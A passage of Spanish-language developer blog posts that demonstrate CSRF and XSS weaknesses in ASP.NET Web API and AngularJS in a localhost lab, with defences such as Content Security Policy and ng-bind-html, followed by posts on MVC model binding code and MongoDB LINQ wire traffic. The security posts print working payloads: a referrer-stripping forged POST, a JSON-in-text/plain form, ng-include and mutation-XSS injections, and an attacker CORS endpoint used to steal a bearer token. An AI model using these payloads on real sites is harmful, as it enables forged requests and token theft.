  31:             // Para evitar el procesamiento de consultas inesperadas o malintencionadas, use la configuración de validación en QueryableAttribute para validar las consultas entrantes.

  32:             // Para obtener más información, visite http://go.microsoft.com/fwlink/?LinkId=279712.

  33:             //config.EnableQuerySupport();

  34:         }

  35:     }

Como creo que el público se merece conocer las técnicas con las que ayer intentamos tirar nuestros argumentos por tierra voy a hacer una pequeña descripción.

1. Evitar en el envió de Referrer.

   1: <script type="text/javascript">
   1:  

   2:     function post_without_referer() {

   3:         // POST request, WebKit & Firefox. Data, meta & form submit trinity

   4:         location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +

   5:                    '<form id=dynForm method=POST action='http://localhost:30022/api/prueba/'>' +

   6:                    '<input type=hidden name=email value=example@live.com />' +

   7:                    '<input type=hidden name=pass value=password />' +

   8:                    '<input type=hidden name=locale value=en_US />' +

   9:                    '</form><script>document.getElementById('dynForm').submit()</scri' + 'pt>"></html>';

  10:     }

  11:  

</script>

   2:  

   3: <a href="#" onclick="post_without_referer()" target="Hello">POST without referer (FF,chrome)</a>

Lo que hace es cambiar el location y solo funciona en FF y Chrome. Aunque algo parecido se puede hacer en IE con un anchor estableciendo rel=”noreferrer” y href a algo como esto

image

Os he pasado todas las instrucciones que he generado desde la consola del navegador y si queréis ver que pasa mandaros un email con este anchor a vosotros mismos.

Viendo el código de Eduard para el DelegatingHandler es evidente que no cuela ninguna de estas técnicas, es decir su código es seguro.

2. Eduard me defendía que “application/json” también podía ser susceptible de ataques CSRF según esta documentación.

W3C HTML JSON form submission

Espero que eso no se apruebe en la vida, porque entonces la fiesta va a ser buena y hasta donde he probado no lo soporta ningún explorador.

Ojo que no estás inmune con “application/json”. Es decir que si habilitas CORS y te autenticas por Api no solo te pueden hacer CSRF a los métodos POST sino a todos, pero esto lo vamos a dejar para otro capítulo o para que lo investigues tu.

3. Basándome en esos dos MediaTyperFormatter que aportan más problemas que beneficios yo le comente que porque no creamos un MediaTypperFormatter que soporte “text/plain” y después deserializamos con Json.Net.

Sabes lo que te puede pasar, pues sencillo que te puedo enviar lo siguiente.

   1: <form enctype="text/plain" method="post" action="/Home/Test">

   2:     <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>

   3:     <input type="submit" value="send" /> 

De momento WebApi lanza un error porque no soporta “text/plain” espero que a nadie se le ocurra.

Para finalizar, está claro que esto es responsabilidad tuya y solamente tuya, no es del Framework, aunque este no te lo pone nada fácil y es por eso por lo que para mi es un despropósito.

Hazte las siguientes preguntas.

1. Porque la generación de un controlador MVC y WebApi no generan un mecanismo anti CSRF o por lo menos lo preguntan.

2. Porque se agregan esos dos MediaTypeFormatter de serie y sin más advertencias y que en el 99% de los casos no los voy a utilizar y son un problema con respecto a seguridad.

Conclusión.

Piénsate muy mucho la autenticación por Cookies en tu WebApi.

 

 

 

 

Una evidencia, una fricada y un despropósito

La verdad que me apetecía contar mi charla del gusenet, que al final por tiempo y por otras razones me fue imposible hacer.

Básicamente el tema principal de la charla era mostrar dos vulnerabilidades web que aunque viejas siguen presentes en nuestra vidas y no se si alguna vez seremos capaces de quitárnoslas de una vez por todas.

Estás dos vulnerabilidades son:

Cross site scripting(xss)

Cross Site Request Forgery(csrf)

Si os fijáis en el título vais a ver de forma muy clara la estructura del post.

1. Una evidencia(xss en angularjs).

Hace aproximadamente más de 1 año que empecé a trabajar con Angularjs y no había que ser muy espabilado para darte cuenta rápidamente que existía un cierto peligro ante este ataque.

Lo primero que hice fue hacer una búsqueda sencilla y que me aporto no poca luz “angulajs xss” 

mustache-security

Pero vamos si trabajas con otro framework como Backbone,knockoutjs,etc,etc. y piensas que solo afecta a Angularjs te invito a que hagas la misma búsqueda pero cambiando la palabra angularjs por tu framework y lo mismo te sorprendes.

Vamos y que para te quede claro, aunque el primer ataque de este tipo creo que fue por el 2005 o quizá antes History of Cross Site Scripting  lo llevamos a nuestras espaldas desde entonces y la moda de hacer Single-page application(SPA) va a hacer que siga vivo creo que un buen puñado de años más y con más fuerza.

Así que como consejo si te planteas hacer una aplicación de este tipo reserva algunas horas para preocuparte de esta vulnerabilidad.

Aunque os pasare el proyecto completo os cuento la estructura de este para que os hagáis una idea de que estamos hablando.

image

-Un proyecto llamado “Victima” que en mi caso se ejecuta en “localhost:10322” y que no es otra cosa que un proyecto MVC donde vamos a hacer el ataque.

-Un proyecto “Atacante” que es el proyecto que va a utilizar el usuario malicioso para explotar tus vulnerabilidades. “localhost:10755”.

-Una dll llamada “Apis” que es el que vamos a utilizar en el última parte del post y que va a mostrar la vulnerabilidad CSRF y que está referenciado en el primero de los proyectos.

Si os habéis leído todas las vulnerabilidades de Angularjs ya os cuento que solamente quedan pendientes de corregir las dos últimas y muy malo tienes que ser para no solucionarlas de forma sencilla y eso es lo que os voy a explicar.

Un atacante lo que va a hacer es inyectar en vuestra página este fragmente de html.

image>

Es decir tu tienes un div que es donde arranca tu app de Angularjs con un controllador llamado “MyController” y el atacante lo que ha conseguido es incluir en ese fragmente tuyo el span que incluye la directiva ng-include.

Alguno uno se puede preguntar como lo ha hecho o pensar que es imposible, el atacante ha buscado una parte compartida por muchos usuarios de tu web donde pueden iterar e introducir texto y este es leído por el resto de usuarios. Por ejemplo una agenda compartida, los cometarios de un post, un chat que tan de moda se ha puesto.

 El caso es que tu cada vez que renderizas tu página insertas ese span que es el causante del problema xss.

Por otra parte como la directiva ng-include lo que hace es traer mediante xmlhttprequest código html y sustituirlo.

El atacante tiene que habilitar Cross-origin resource sharing(CORS) en su web. Y te preguntas si esto para el es un problema, pues ya te digo yo que no, por el encantado.

Y es eso lo que yo he hecho en el proyecto “Atacante” en un simple y sencillo controlador MVC, habilitar CORS.

   1: public ActionResult Index()

   2:         {

   3:             var oriGinHeader = Request.Headers.GetValues(Origin);

   4:             if (null!=oriGinHeader)

   5:             {

   6:                 bool isCorsRequest = !string.IsNullOrEmpty(oriGinHeader.FirstOrDefault());

   7:                 bool isPreflightRequest = Request.HttpMethod == "OPTIONS";

   8:                 if (isCorsRequest)

   9:                 {

  10:                     if (isPreflightRequest)

  11:                     {

  12:                         Response.Headers.Add(AccessControlAllowOrigin, oriGinHeader.First());

  13:  

  14:                         string accessControlRequestMethod = Request.Headers.GetValues(AccessControlRequestMethod).FirstOrDefault();

  15:                         if (accessControlRequestMethod != null)

  16:                         {

  17:                             Response.Headers.Add(AccessControlAllowMethods, accessControlRequestMethod);

  18:                         }

  19:  

  20:                         string requestedHeaders = string.Join(", ", Request.Headers.GetValues(AccessControlRequestHeaders));

  21:                         if (!string.IsNullOrEmpty(requestedHeaders))

  22:                         {

  23:                             Request.Headers.Add(AccessControlAllowHeaders, requestedHeaders);

  24:                         }

  25:                     }

  26:                     else

  27:                     {

  28:                         Response.Headers.Add(AccessControlAllowOrigin, Request.Headers.GetValues(Origin).First());

  29:                     }

  30:                 }

  31:             }

  32:             return PartialView();

  33:         }

Que si, que ya se que existe EnableCors, pero este tiene también para un post, que ya os escribiré.

Si os fijáis en el código aparte de habilitar CORS lo que hace es devolver una PartialView() que de verdad os va a gustar.

image

Una vez que veáis el código del controlador de la victima.

image

No le hagáis caso a $compile ,$scope$sce que ya veréis después el sentido de esos tres parámetros. De momento  solo quédate que en el controlador hay una llamada http a una api de Google Drive y que necesita un token del tipo Bearer y es ese el objetivo del atacante no mostrar un alert sino robarte el token y mandárselo a su web para almacenarlo, menos mal que este ya está caducadoSonrisa.

Y como te lo está robando? Con esta línea de código y aprovechando que cualquier function JavaScript al hacer toString() devuelve el código fuente de esta.

angular.module(‘app’)._invokeQueue[0][2][1].toString()

Es decir algo que bondadosamente alguien ha escrito con ese “_” para decirte no me toques y es ese el lugar utilizado por el atacante para obtener el código fuente de cualquier function JavaScript en Angulajs y en este caso le interesa el código fuente de tu controllador. Ya habrás visto porque Sonrisa.

AngularJS: Loading a controller dynamically

Es decir que lo bueno a veces puede ser una fuente magnifica para explotar por parte de un usuario malicioso.

Visto lo fácil que es ,ahora vamos con las posibles soluciones.

1. Reescribir el método toString() de Function.

Function.prototype.toString = function() {return «»;)

Está podría ser una solución que no te aconsejo, puesto que es en parte en lo que se basa Angularjs para hacer la inyección de dependencias, cuando tu declaras una function sin utilizar la forma declarativa de Angularjs, para indicar las dependencias.

Forma no declarativa y por tanto ejecución de toString().

angular.module(‘app’, function($scope){});

Forma declarativa y no ejecución de toString() y la recomendada.

angular.module(‘app’,[$scope,function(scope){}])

2. Comentar la linea 1995 y de la 2014 a 2016 de Angularjs.

image

La verdad que no es muy recomendable,

-Principalmente porque estás quitando funcionalidades,

-Tienes que cargar el archivo Angular.js y no el Angular.min.js, aunque esto se puede solucionar

-Por último  porque tienes que estar pendiente de actualizaciones y que no se te olvide. Aunque siendo sincero es la que utilizo porque ese ng-include me da mucho miedo.

3. Utilizar ng-bind-html.

Siempre que utilices contenido dinámico y que quieras representar como html y dependa de entradas de usuario.

Es ahora el momento de ver esos tres parámetros que tenía el controlador y que no se estaban utilizando.

$sce por favor no utilices esto. he visto mucho código de angular escrito en el controlador de esta forma para sanitizar el html.

$scope.html=$sce.trustAsHtml(«<span class=»ng-include:’http://localhost:10755/'»>hello kitty</span>»);

Primero porque no quita el ng-include y segundo porque ya lo hace la directiva ng-bind-html.

image

En una palabra y para entendernos, no hagas las cosas dos veces que con esto te sobra la línea del controlador.

<div ng-bind-html=»html»/>

Es decir que sino fuese por el miedo que me da ng-include yo te recomendaría esta forma.

Evita en la medida de lo posible utilizar $scompile que es el responsable de compilar todo el Dom y ejecutarlo y es hay donde te va a saltar este ataque.

Vamos que se te quede grabado en la memoria siempre que trabajes con Angularjs esto.

image

4. Utilización de Content Security Policy(CSP)

Content Security Policy Reference

An Introduction to Content Security Policy

Can I use Content Security Policy?

No te paso estos link para que no los leas, sino para que lo hagas y estés pendiente de eso. Eso si, cuando los señores de Internet Explorer hagan las cosas bien, creo que es una utopía y un sueño inalcanzable Triste.

Pero con estas sencillas líneas en un web.config adiós a tus problemas de xss por lo menos en Chrome.

   1: <system.webServer>

   2:     

   3:     <httpProtocol>

   4:       <customHeaders>

   5:         <add name="Content-Security-Policy" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>

   6:         <add name="X-Content-Security-Policy" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>

   7:         <add name="X-WebKit-CSP" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>      

   8:       </customHeaders>

   9:     </httpProtocol>

Queréis que analicemos en Chrome lo que ocurre

image

1. Que modernizer es la primera que viola CSP y excepto que la quites está incluida en todos tus proyectos MVC.

2. Que tu no me cargas con CSP contenido desde el proyecto atacante aunque nazcas otra vezSonrisa.

Me encanta esta frase.

Refused to connect to ‘http://localhost:10755/’ because it violates the following Content Security Policy directive:

«connect-src ‘self’
https://www.googleapis.com/drive/v2/files  *.localhost:36227″.

3. Que de nuevo aparece otro invento browserLink y no paramos xDDDD.

Browser Link feature in Visual Studio Preview 2013

Vamos que te deja la máquina temblando, para que tu puedas jugar en Visual Studio.

Y por supuesto, como no iba a introducir algo en tu página, eso si lo puedes parametrizarSonrisa.

   1: <!-- Visual Studio Browser Link -->

   2: <script type="application/json" id="__browserLink_initializationData">
   1:  

   2:     {"appName":"InternetExplorer","requestId":"7a3a178b1eff46b7a300e21a1a8e3627"}

</script>

   1:  

   2: <script type="text/javascript" src="http://localhost:36227/f5aa9fa758364c0983d1ee7f22e2353d/browserLink" async="async">

</script>

   3: <!-- End Browser Link -->

Ves Amigo Lluis como al final me he desfogado https://twitter.com/lluisfranco/status/464418178018607104Sonrisa

image

2. Una fricada(ataque xss, pero jamón,jamón)

En realidad son dos ataques, uno aprovechando una future de Chrome y que tiene que tener habilitado esto.

image

Luego simplemente ve a esta página y saca tus propias conclusiones, tranquilo que no te roban nada.

CSP Bypass in Chrome Canary + AngularJS

Fíjate en el fuente del gif y te vas a reír de lo lindo, es decir que antes  que una funcionalidad que aún no ha visto la luz y que se supone que va a estar presente en WebComponents(import) ya hay alguien que se ha entretenido en jugar un poco. Veis ahora como la posible y creo que única solución para este problema de más de 9 años es que todos los browser acepten CSP.

La segunda es utilizar mutacion xss y el innerHtml, pero con estas líneas

   1: <b class="ng-include:'somefile?--&gt;&lt;div&sol;onmousemove=alert&lpar;1&rpar;&gt;'">HELLO</b>

   2: <button onclick="body.innerHTML+=1">do the mXSS thing</button>

Vamos dos joyitas esperando a que tu web salga al mercado y no tengas en cuenta XSS.

3. El despropósito(CSRF en WebApi).

Los que somos más viejos en el mundo del desarrollo con herramientas Microsoft, recordamos aquellos años en los que las templates de Visual Studio tenían comentarios y ayudas lo suficientemente significativas como para no cagarla de la forma que vais a ver.

image

Es decir y para que te quede claro, que lo mismo no te molestas ni en escribir estas líneas, creo que debes de saber cuales son las consecuencias.

1.JQueryMvcFormUrlEncodedFormatter. Encargado de procesar todos los Content-Type:application/xxx-form-urlencoded y cuyos parámetros de tu controlador sean “FormDataCollection” y “JToken

2. FormUrlEncodedMediaTypeFormatter. Se encarga de gestionar cualquier método que no tenga como parametro “FormDataCollection” y “JToken” y que el Content-Type sea xxx-form-urlencoded, es decir todos. Porque de serie se cargan estos dos MediaTypeFormatterSonrisa

Con lo cual como un atacante tonto no es, y el parte de estos conocimientos.

Lo que posiblemente haga es ver si tu api se esta autenticando por cookie’s y hacerte ir a una página suya mediante un correo electrónico u otra técnica para escribir algo como esto.

image

En una palabra, hacer un POST sin que tu lo detectes a tu página vulnerable.

Veis esas líneas comentadas. Pues si te autenticas por cookie’s en Web Api y no tienes en cuenta una estrategia de defensa de CSRF, no solamente el verbo HTTP POST, sino todos tus verbos HTTP y todos los formatos son vulnerables a ataques CSRF si además habilitas CORS. Yo creo que ya veis el próximo post que habla de EnableCors

Ahora yo te hago una serie de preguntas

-Piensas que estás salvado en una intranet o si te autenticas con Basic access authentication, que en algún otro proyecto lo he visto, aún creyendo que https les salvaba ?

Te respondo, cuan grande es la ignorancia cuando cada uno toma lo que le interesa.

-Te parece acertado este post sin más explicaciones?

Tiny Happy Features #2 – ASP.NET Web API in Visual Studio 2012

Conclusiones.

Muy sencillas las de hoy, tu mismo las puedes deducir y ver cuando uno escribe estás cosas por el bien de los demás a algunos otros les sienta mal, o peor ven fantasmas inexistentes y piensan que yo estoy en contra de Microsoft, pues lo tienen claroSonrisa. Estoy en contra de las cosas mal hechas y cada día son más abundantes.

Pues que no os siente mal, que como ya dijo  el maestro Chalalo, “menos post comerciales y más técnicos”.

P.D. Si alguien quiere los proyecto que me los pida por twitter o email y se lo mando o lo mismo los pongo en Github que está de moda.

Binding la historia interminable

Este post surge a raíz de una pregunta de un amigo de gusenet en el grupo de facebook y que básicamente lo que quería es bindear el siguiente modelo de JavaScript a un controlador MVC.

1. Modelo JavaScript

image

En un principio listStr se llamaba listInt y contenía valores integer, solo que adultere inicialmente su proyecto para ver si ese “Ho,la2” al contener una “,” me generaba 5 elementos en vez de cuatro, cosas mías.

También agregue el campo name con valor “Hola”, para comprobar ciertas cosas en el modelo de Binding de MVC.

2. Firma del método del controlador.

Originalmente tenía la siguiente firma, cosa que ya me pareció un tanto rara al no estar todos los parámetros agrupados en una clase, pero bueno, la única consecuencia y es lo que vamos a ver es que esa firma no funciona en WebApi.

image

Bueno sabiendo que ese método, no era compatible con WebApi lo que hice fue crear un modelo con la siguiente estructura y dejar el método lo más parecido a un método WebApi.

A estas alturas te preguntas por qué?, pues sencillo, intento no escribir más código del absolutamente necesario y cuanto más líneas escriba en un controlador MVC y WebApi más voy a tirar.

Modelo que agrupa cada una de los parámetros.

image

Quiero que os fijéis en la parte que está comentada, un constructor que asigna cada uno de los parámetros a propiedades de la clase definidas con el modificador private set, esta ha sido siempre mi forma de definir mis modelos tanto en WebApi como en MVC. Evidentemente sin el el atributo “JsonProperty” que no es más que un requerimiento de Json.Net si quieres no definir un constructor con parametros. Cosa que evidentemente no me gusta, con lo cual mi modelo ideal sería algo como esto.

image

Pero vamos no consigues que sea compatible entre MVC y WebApi excepto que hagas algún que otro cambio y es lo que voy a hacer y ver si me aceptan un Pull Request

Una vez visto todo esto, vamos a mostrar los métodos de los controladores tanto de WebApi como de MVC y vemos lo que ocurre, enviando datos desde JQuery.

Método del controlador WebApi

image

Método del controlador MVC

image

Como podéis ver me han quedado los métodos, bastante parecidos y ahora vamos con las tres llamadas de JQuery.

1. Usando traditional=true sobre el controlador de MVC.

image

Solamente bindea la propiedad “Name” del modelo y listStr. Person nos llegan con valor  null

2. Usando traditional=true sobre el controlador WebApi.

image

Bindea “Name” y ListStr crea el objeto Person con todas las propiedades a null.

El motivo está claro cuando tu utilizas $.param de JQuery lo que hace es recorrer todas las propiedades del objeto JavaScript y hacer toString de cada una de ellas ,con lo cual el toString() de person es [object Object] y eso es lo que nos llega al servidor.

En resumen intenta olvidar el uso de traditional=true, puesto que para objetos complejos no funciona.

3. Usando traditional=false sobre el controlador MVC.

image

Solamente hace binding correctamente sobre la propiedad Name, listStr llega a null y Person se crea peso todas sus propiedades llegan a null

4. Usando traditional=false sobre un controlador WebApi.

image

Bien, hemos conseguido nuestro objetivo. Por fin tenemos todas las propiedades bindeadas correctamente. Y ahora es el momento de reflexiones.

1. Porque funciona en WebApi y no en MVC. Sencillo MVC para hacer esto necesita un ValueProvider que no existe, es decir alguien ha escrito un ValueProvider y un MediaTypeFormatter en WebApi y no ha pensado en MVC. El responsable de que todo esto funcione es el JQueryMvcFormUrlEncodedFormatter.

2. Como he comentado la idea de hacer un Pull Request os voy a pasar el código necesario para que esto mismo funcione en MVC.

Escribimos las siguiente clases

   1: public class MyValueProvider : IValueProvider

   2: {

   3:  

   4:     readonly Dictionary<string, ValueProviderResult> _dictionay = new Dictionary<string, ValueProviderResult>(StringComparer.OrdinalIgnoreCase);

   5:     public MyValueProvider(NameValueCollection collection)

   6:     {

   7:         foreach (var item in collection.AllKeys)

   8:         {

   9:            

  10:             if (item.Contains("[]"))

  11:             {

  12:                 MakeArray(collection, item);

  13:             }

  14:             else

  15:             {

  16:                 var name = string.Empty;

  17:                 if (TryGetComplexObject(item, out name))

  18:                 {

  19:                     MakeComplexObject(collection, item, name);

  20:                 }

  21:              

  22:             }

  23:         }

  24:     }

  25:     private bool TryGetComplexObject(string item,out string name)

  26:     {

  27:         var values = item.Split('[');

  28:         name = null;

  29:         if(values.Length>1)

  30:         {

  31:             name = GetName(values);

  32:             return true;

  33:         }

  34:         return false;

  35:     }

  36:     private void MakeComplexObject(NameValueCollection collection,string item, string name)

  37:     {               

  38:         var value = collection[item];

  39:         _dictionay[name] = GetValueProvider(value, CultureInfo.CurrentCulture);              

  40:     }

  41:     private void MakeArray(NameValueCollection collection, string item)

  42:     {

  43:         var culture = CultureInfo.CurrentCulture;

  44:         var values = collection.GetValues(item);     

  45:         var name = item.Replace("[]", "");           

  46:         

  47:         for(var i =0;i<values.Length;i++)

  48:         {

  49:             var key = string.Format("{0}[{1}]", name, i);

  50:             _dictionay[key] = GetValueProvider(values[i], culture);

  51:             

  52:         }

  53:     }

  54:     private ValueProviderResult GetValueProvider(string value,CultureInfo culture)

  55:     {

  56:         string attemptedValue = Convert.ToString(value, culture);

  57:         return  new ValueProviderResult(value, attemptedValue, culture);

  58:     }

  59:     private string GetName(string[] values)

  60:     {           

  61:  

  62:         var sb = new StringBuilder();            

  63:         var separator = string.Empty;

  64:         foreach (var segment in values)            

  65:         {                

  66:             var name = segment.Replace("]", "");

  67:             var number = 1;

  68:             bool isArray = int.TryParse(name, out number);               

  69:             if (isArray)

  70:             {

  71:                 name = string.Format("[{0}]", name);

  72:                 separator = string.Empty;

  73:             }

  74:             sb.Append(separator);

  75:             sb.Append(name);                

  76:             separator = ".";

  77:         }

  78:         return sb.ToString();

  79:     }

  80:  

  81:     public bool ContainsPrefix(string prefix)

  82:     {

  83:         var result = (_dictionay.Keys.Contains(prefix) || _dictionay.Keys.Where(c => c.ToUpper().StartsWith(prefix.ToUpper())).Count() > 0);

  84:         return result;           

  85:     }

  86:     public ValueProviderResult GetValue(string key)

  87:     {

  88:         ValueProviderResult result;

  89:         _dictionay.TryGetValue(key, out result);

  90:         return result;

  91:     }

  92: }

  93: public class MyValueProviderFactory : ValueProviderFactory

  94: {

  95:     public override IValueProvider GetValueProvider(ControllerContext controllerContext)

  96:     {

  97:         if (!controllerContext.HttpContext.Request.ContentType.StartsWith("application/x-www-form-urlencoded", StringComparison.OrdinalIgnoreCase))

  98:         {                

  99:             return null;

 100:         }            

 101:         return new MyValueProvider(controllerContext.HttpContext.Request.Form);

 102:     }

 103: }

y agregamos esta linea al Global.asax de MVC.

ValueProviderFactories.Factories.Add(new MyValueProviderFactory())

Si ahora probáis, os va a funcionar exactamente igual en MVC como en WebApi.

4. Utilizando Application/Json con JQuery, puesto que los dos intentos anteriores envían  application/x-www-form-urlencoded y ya había una propuesta para mi equivocada de como se podía solucionar esto en MVC.

Model Binding To A List no es que no funcione que si funciona ,pero a la postre no es más que ir contra corriente y para eso no mejor que leerte esto jQuery.param() y concretamente este párrafo.

image

Es decir, que nosotros siendo más modernos que estos framework no soportamos algo que ya estaba desde JQuery 1.4. Pero no es que no lo soportemos, es que hasta hace poco era como un querer diferenciarnos y al final darnos cuenta que esa diferenciación no ha llegado a ningún sitio, me apena de verdad Triste.

Cuando realmente lo único que había que hacer es transformar algo como esto

person[Address][0][Street] a esto otro person.Addres[0].Street que no es otra cosa que lo que yo hago en el código que os he pasado y lo que hace el NameValuePairsValueProvider en el MediaTypeFormatter JQueryMvcFormUrlEncodedFormatter.

Vamos a ver que esto está en extension Method en la dll System.Web.Http y lo mismo costaba mucho introducirla en la dll System.Web.Mvc Triste.

Comprendéis ahora esta entrada en twitter mía

image

https://twitter.com/_PedroHurtado/status/464073404438814720

Bueno dicho todo esto vamos a ver que pasa cuando utilizamos application/json.

image

Pues ya os lo digo, que funciona tanto en MVC como en WebApi y este es el camino que el amigo Javier Troubleshooter opto por utilizar para este caso, pero tambien deja mucho que desear el planteamiento de MVC. JavaScriptSerializer en vez de haber implementado en la nueva versión Json.Net.

Como cierre me preguntaba que si este último forma podría tener alguna consecuencia, pues ya te digo amigo Javier que excepto que tengas habilitado CORS y te autentiques por Cookie, no. Es más quien tiene consecuencias y bastante serias sino se utiliza un mecanismo para prevenir CRSF son los otros dos.

Pero esto lo voy a dejar para el siguiente post que no es otra cosa que poder contar cual era mi charla en el gusenet, que por motivos conocidos no logre darSonrisa.

Conclusiones.

Que no se hagan las cosas a trozos que al final tenemos un framework super pesado por tener cosas repetitivas en varias dll’s para resolver el mismo problema.

Que se revise todo el modelo de binding de MVC y WebApi que le hace falta.

Mucha gente me ha pedido que escriba de Gusenet y haga un resumen de que tal fue el evento y el porque. Bueno no me gusta escribir de esas cosas y prefiero transmitir otra idea de lo que es el Gusenet.

1. Ayuda a cualquier persona.

2. Diviértete.

3. No lo utilices como medio para nada, ni a nivel personal ni a nivel de empresa, es muy desagradable escuchar alguna cosa como que yo quiero dar la charla en el palacio y no en el bar. Y que más te da, si piensas en eso no has entendido ni un pelo lo que es la idea de comunidad del Gusenet.

Compartir y Divertirse.

MongoDb y c#. Dos titanes en lucha constante

Durante la semana pasada tuve la suerte de compartir unos momentos hablando de MongoDb con @erincon y para resumiros  a grandes rasgos os digo lo que aconseje equivocadamente a Eladio.

1. Utiliza el Driver nativo de Mongo

http://www.nuget.org/packages/mongocsharpdriver/1.8.3

2. Utiliza MongoRepositorio

http://www.nuget.org/packages/MongoRepository/

3. Utiliza Linq

En el primer y segundo punto no me equivoque, fue realmente en el tercero donde metí la pata hasta dentro y ese es el motivo del post, evitar en la medida de lo posible que ningún otro se equivoque.

Uno de los link que pase a Eladio no fue otro que la documentación oficial de mongo que habla de linq, que yo no había leído, exceso de confianza.

CSharp Driver LINQ Tutorial

Yo creo que no pasaron más de 10 minutos cuando me respondió con  esto.

image

Para mi mismo dije yo. ¡Olé,olé,olé!. Acabo de triunfar, menos mal que la parte que utilizo de MongoDb en la app no se ve fuertemente afectada por esto, pero piensa  que en vez de manejar 5 documentos en mi caso, sean muchos mas y entonces es cuando de verdad te tienes que preocupar, así que si estás utilizando Linq to MongoDb ponte a llorar.

Y llorar por qué? Pues sencillo pongas lo que pongas en tu proyección(select) vas a leer del servidor absolutamente todo, es decir que si tu quieres solo dos campos del documento y este tiene 50 te vas a traer los bytes de esos 50 campos. Vamos para entendernos si piensas en relacional un “SELECT * FROM” por cada sentencia Linq que escribas contra MongoDb.

Vamos a ver si lo que dice la documentación es verdad, porque honestamente no podía pensar que algo se hiciese tan mal, para ello lo primero que hice es descargar el código fuente del Driver de MongoDb y pasar de utilizar MongoRepository.

Con lo cual fue fácil escribir el siguiente código.

image

Y crear un Dto con todos los campos de la entidad Cards menos uno.

image

Pues al dar ejecutar a esas líneas y lógicamente iterar por la query me empieza a saltar las sospecha que  la documentación era correcta y mi visión acerca de utilizar Linq con MongoDb era incorrecta.

Como prueba nada mejor que encontrarme con esto.

image

Y realmente quien me estaba engañando. El Driver de Mongo o MongoRepository, pues es sencillo quien me estaba engañando era MongoRepository y lo vamos a ver con un ejemplo.

 

image

La forma de consumir el método GetAll de CardsRepository sería de la siguiente forma.

image

Que a la postre es lo mismo que si hubiese utilizado eso con Linq to Mongo sin utilizar MongoRepository y también como se puede observar hubiese sido engañado.

image

Bueno pues evidentemente me queda otra comprobación ver realmente los bytes que me llegan del servidor, utilizando Linq y el Driver de Mongo.

Realmente lo tenía fácil, simplemente era aprovechar la exceptión para saber exactamente donde tenía que poner un breakpoint, para ver el buffer directo que me llegaba del servidor y de esta forma obtener varias conluciones, uno es que no utilices Linq en Mongo y el otro era entender BSON y llegar a la deducción que realmente no es más que el modelo que utilizan otras bb.dd como Sql Server para transferir datos desde el servidor al cliente y creerte que MongoDb no utiliza Json sino binario del bueno.

Si quieres perder el tiempo como yo lo he hecho, no tienes más que ir al método ReceiveMessage<TDcoument> de la clase MongoConection o ir a la clase MongoCursor<TDocument> al metodo GetEnumerator y hagas todo el seguimiento hasta llegar al primer método, eso quizá te dará una visión más clara de que el Driver de Mongo para c# tiene como poco muchas cosas que mejorar.

Es decir no se te ocurra iterar dos veces por la misma query sin hacer ToList(), puesto que vas a hacer dos peticiones inútiles al servidor,para mi una mala implementación.

Pues una vez que estamos ya con el control en nuestras manos lo mejor es leer bytes y de esa forma poder explicar que es lo que esta pasando entre bastidores.

1. Cualquier consulta que tu envías a MongoDb ejecuta los siguientes comandos de Mongo Db y todo en binario, los request los dejo para que los investigues tu.

db.runCommand({“ping”:1})

db.runCommand({“ismaster”:1})

db.runCommand({“buildinfo”:1})

Por ultimo tu Query.

2. En el response desde el servidor nos llega la siguiente información.

1. Un header con 36 bytes

Longitud del Mensaje(int) 4 bytes.

RequestId(int) 4 bytes.

ResponseTo(int) 4 bytes.

OpCode(int) 4 bytes.

ResponseFlags(int) 4 bytes.

CursorId(long) 8 bytes: Si tu query responde con un gran tamaño de información Mongo devuelve un cursor y la siguientes petición las hace con este cursor, en caso contrario devuelve 0. Esto se puede parametrizar si se establece BatchSize en el objeto Cursor.

StartingFrom(int) 4 bytes: Numero de registro inicial leído en en este lote.

NumberReturned(int) 4 bytes: Numero de registros devueltos en este lote.

Como podéis observar tenemos fácil comprobar que nos llega con Linq y que nos llega utilizando el Driver de Mongo, leemos los primeros 4 bytes y sabemos que número  de bytes nos devuelve mongo para ese lote.

Para el primer lote que no lo he especificado con BatchSize me llegan para Linq con 101 registros 10944 bytes y utilizando la siguiente consulta en Mongo.

var result = collection.Find(null).SetFields(Fields.Include(«ApplicationId»));

Para los mismos registros me llegan 6702 bytes es decir un 40% más de peso utilizando Linq. Pues imagina ahora un documento con más de 50 campos y el problema no es otro que la documentación es correcta y yo no la leí y LINQ TO MONGO deja mucho que desear .

Y que nos falta por analizar a estás alturas pues el cuerpo/body del mensaje, es decir donde nos llegan los datos.

-4 bytes que indican la longitud del documento que voy a leer

-1 byte de inicio de documento que siempre es 2 y se corresponde con la enumeración

-1 byte del tipo de dato

-En el nombre del campo no llegan comillas es decir solo el nombre del campo terminado con el byte ‘0’, cuidado con hacer dinámico el nombre de los campos que te puede caer una gorda y alguien hacer una inyección con Null Byte. Tranquilos que he visto que lo controla el Driver Sonrisa.

-Si es un string el numero de bytes a leer más el valor en utf8 más final de cadena ‘0’ , si el tipo es diferente el valor.

Y ahora no te da por pensar en una cosa, menudo desperdicio de bytes, porque no nos llega el esquema en la cabecera, pues sencillo ese el coste que tienes que pagar por tener registros de longitud variable, no hacías palmas cuando leíste en la documentación de Mongo que el esquema no es fijo. La verdad es que se podrían esforzar un poquito más y cuando se especifique SetFields el esquema de una proyección se conoce y por tanto cambiar la forma de devolver bytes del servidor y mi experiencia me dice que si esto se tiene en cuenta la reducción puede alcanzar un 25% más.

Por último el Orden de los campos y no lo se a nivel de servidor si tiene repercusiones a nivel de rendimiento, da lo mismo como lo marques en el cliente, los campos para cada documento llegan en el orden en el que se grabaron en el servidor.

Conclusiones.

Solo una que por una vez que me he abstraído del funcionamiento de una bb.dd la he cagado, con lo cual apúntate esto como una cosa que tienes que hacer antes de trabajar con cualquier bb.dd, que parece que es lo menos importante y realmente es donde vas a tener los problemas. Y las abstracciones sobre esta, pueden llegar a ser malas como en este caso.

Por último y es por si no te ha quedado claro no utilices LINQ TO MONGO. La verdad que estoy pensando en no utilizar LINQ para nada relacionado con Acceso a datos, pero eso lo dejo para otra entrada o mejor si te parece lo puedes ver en el #gusenet en la charla que se titula “Dos tontos muy tontos”. Es la última así que o te quedas o no te vas a enterar Sonrisa.

Mis agradecimientos a:

